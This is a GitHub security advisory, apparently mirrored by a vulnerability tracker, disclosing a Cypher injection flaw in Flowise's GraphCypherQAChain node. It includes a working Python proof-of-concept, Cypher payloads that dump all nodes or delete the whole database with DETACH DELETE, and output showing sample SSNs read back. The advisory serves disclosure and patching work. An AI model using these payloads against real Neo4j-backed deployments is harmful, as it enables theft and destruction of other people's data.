GHSA-28G4-38Q8-3CWC
Vulnerability from github – Published: 2026-04-16 21:54 – Updated: 2026-04-16 21:54Summary
The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.
Vulnerability Details
| Field | Value |
|---|---|
| Affected File | packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts |
| Affected Lines | 193-219 (run method) |
Prerequisites
To exploit this vulnerability, the following conditions must be met:
- Neo4j Database: A Neo4j instance must be connected to the Flowise server
- Vulnerable Chatflow Configuration:
- A chatflow containing the Graph Cypher QA Chain node
- Connected to a Chat Model (e.g., ChatOpenAI)
- Connected to a Neo4j Graph node with valid credentials
- API Access: Access to the chatflow's prediction endpoint (
/api/v1/prediction/{flowId})
Root Cause
In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:
async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
const chain = nodeData.instance as GraphCypherQAChain
// ...
const obj = {
query: input // User input passed directly
}
// ...
response = await chain.invoke(obj, { callbacks }) // Executed without escaping
}
Impact
An attacker with access to a vulnerable chatflow can:
- Data Exfiltration: Read all data from the Neo4j database including sensitive fields
- Data Modification: Create, update, or delete nodes and relationships
- Data Destruction: Execute
DETACH DELETEto wipe entire database - Schema Discovery: Enumerate database structure, labels, and properties
Proof of Concept
poc.py
#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)
Usage:
python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""
import argparse
import json
import urllib.request
import urllib.error
def post_json(url, data, headers):
req = urllib.request.Request(
url,
data=json.dumps(data).encode("utf-8"),
headers={**headers, "Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
ap.add_argument("--token", help="Bearer token / API key if required")
ap.add_argument(
"--injection",
default="MATCH (n) RETURN n",
help="Cypher payload to inject",
)
args = ap.parse_args()
payload = {
"question": args.injection,
"overrideConfig": {},
}
headers = {}
if args.token:
headers["Authorization"] = f"Bearer {args.token}"
url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"
try:
status, body = post_json(url, payload, headers)
print(body if body else f"(empty response, HTTP {status})")
except urllib.error.HTTPError as e:
print(e.read().decode("utf-8", errors="replace"))
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
Test Environment Setup
1. Start Neo4j with Docker:
docker run -d \
--name neo4j-test \
-p 7474:7474 \
-p 7687:7687 \
-e NEO4J_AUTH=neo4j/testpassword123 \
neo4j:latest
2. Create test data (in Neo4j Browser at http://localhost:7474):
CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)
3. Configure Flowise chatflow (see screenshot)
Exploitation Steps
# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
--flow-id <FLOW_ID> --token <API_KEY> \
--injection "MATCH (n) DETACH DELETE n"
Evidence
Cypher injection reaching Neo4j directly:
$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...}
The error message comes from Neo4j, proving the injected Cypher is executed directly.
Data destruction confirmed:
$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}
Empty result indicates all nodes were deleted.
Sensitive data exfiltration:
$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:54:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` |\n| Affected Lines | 193-219 (run method) |\n\n## Prerequisites\n\nTo exploit this vulnerability, the following conditions must be met:\n\n1. **Neo4j Database**: A Neo4j instance must be connected to the Flowise server\n2. **Vulnerable Chatflow Configuration**:\n - A chatflow containing the **Graph Cypher QA Chain** node\n - Connected to a **Chat Model** (e.g., ChatOpenAI)\n - Connected to a **Neo4j Graph** node with valid credentials\n3. **API Access**: Access to the chatflow\u0027s prediction endpoint (`/api/v1/prediction/{flowId}`)\n\n\u003cimg width=\"1627\" height=\"1202\" alt=\"vulnerability-diagram-prerequisites\" src=\"https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0\" /\u003e\n\n## Root Cause\n\nIn `GraphCypherQAChain.ts`, the `run` method passes user input directly to the chain without sanitization:\n\n```typescript\nasync run(nodeData: INodeData, input: string, options: ICommonObject): Promise\u003cstring | object\u003e {\n const chain = nodeData.instance as GraphCypherQAChain\n // ...\n \n const obj = {\n query: input // User input passed directly\n }\n \n // ...\n response = await chain.invoke(obj, { callbacks }) // Executed without escaping\n}\n```\n\n## Impact\n\nAn attacker with access to a vulnerable chatflow can:\n\n1. **Data Exfiltration**: Read all data from the Neo4j database including sensitive fields\n2. **Data Modification**: Create, update, or delete nodes and relationships\n3. **Data Destruction**: Execute `DETACH DELETE` to wipe entire database\n4. **Schema Discovery**: Enumerate database structure, labels, and properties\n\n## Proof of Concept\n\n### poc.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Cypher injection in GraphCypherQAChain (CWE-943)\n\nUsage:\n python poc.py --target http://localhost:3000 --flow-id \u003cFLOW_ID\u003e --token \u003cAPI_KEY\u003e\n\"\"\"\n\nimport argparse\nimport json\nimport urllib.request\nimport urllib.error\n\ndef post_json(url, data, headers):\n req = urllib.request.Request(\n url,\n data=json.dumps(data).encode(\"utf-8\"),\n headers={**headers, \"Content-Type\": \"application/json\"},\n method=\"POST\",\n )\n with urllib.request.urlopen(req, timeout=15) as resp:\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n\ndef main():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:3000\")\n ap.add_argument(\"--flow-id\", required=True, help=\"Chatflow ID with GraphCypherQAChain\")\n ap.add_argument(\"--token\", help=\"Bearer token / API key if required\")\n ap.add_argument(\n \"--injection\",\n default=\"MATCH (n) RETURN n\",\n help=\"Cypher payload to inject\",\n )\n args = ap.parse_args()\n\n payload = {\n \"question\": args.injection,\n \"overrideConfig\": {},\n }\n\n headers = {}\n if args.token:\n headers[\"Authorization\"] = f\"Bearer {args.token}\"\n\n url = args.target.rstrip(\"/\") + f\"/api/v1/prediction/{args.flow_id}\"\n\n try:\n status, body = post_json(url, payload, headers)\n print(body if body else f\"(empty response, HTTP {status})\")\n except urllib.error.HTTPError as e:\n print(e.read().decode(\"utf-8\", errors=\"replace\"))\n except Exception as e:\n print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Test Environment Setup\n\n**1. Start Neo4j with Docker:**\n```bash\ndocker run -d \\\n --name neo4j-test \\\n -p 7474:7474 \\\n -p 7687:7687 \\\n -e NEO4J_AUTH=neo4j/testpassword123 \\\n neo4j:latest\n```\n\n**2. Create test data (in Neo4j Browser at http://localhost:7474):**\n```cypher\nCREATE (a:Person {name: \u0027Alice\u0027, secret: \u0027SSN-123-45-6789\u0027})\nCREATE (b:Person {name: \u0027Bob\u0027, secret: \u0027SSN-987-65-4321\u0027})\nCREATE (a)-[:KNOWS]-\u003e(b)\n```\n\n**3. Configure Flowise chatflow** (see screenshot)\n\n### Exploitation Steps\n\n```bash\n# Data destruction (DANGEROUS)\npython poc.py --target http://127.0.0.1:3000 \\\n --flow-id \u003cFLOW_ID\u003e --token \u003cAPI_KEY\u003e \\\n --injection \"MATCH (n) DETACH DELETE n\"\n```\n\n### Evidence\n\n**Cypher injection reaching Neo4j directly:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...\n{\"text\":\"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\\n\\\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\\\"\\n ^\",...}\n```\nThe error message comes from Neo4j, proving the injected Cypher is executed directly.\n\n**Data destruction confirmed:**\n```\n$ python poc.py ... --injection \"MATCH (n) DETACH DELETE n\"\n{\"json\":[],...}\n```\nEmpty result indicates all nodes were deleted.\n\n**Sensitive data exfiltration:**\n```\n$ python poc.py ... --injection \"MATCH (n) RETURN n\"\n{\"json\":[{\"n\":{\"name\":\"Alice\",\"secret\":\"SSN-123-45-6789\"}},{\"n\":{\"name\":\"Bob\",\"secret\":\"SSN-987-65-4321\"}}],...}\n```",
"id": "GHSA-28g4-38q8-3cwc",
"modified": "2026-04-16T21:54:26Z",
"published": "2026-04-16T21:54:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-28g4-38q8-3cwc"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/SC:N/VI:H/SI:N/VA:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise: Cypher Injection in GraphCypherQAChain"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.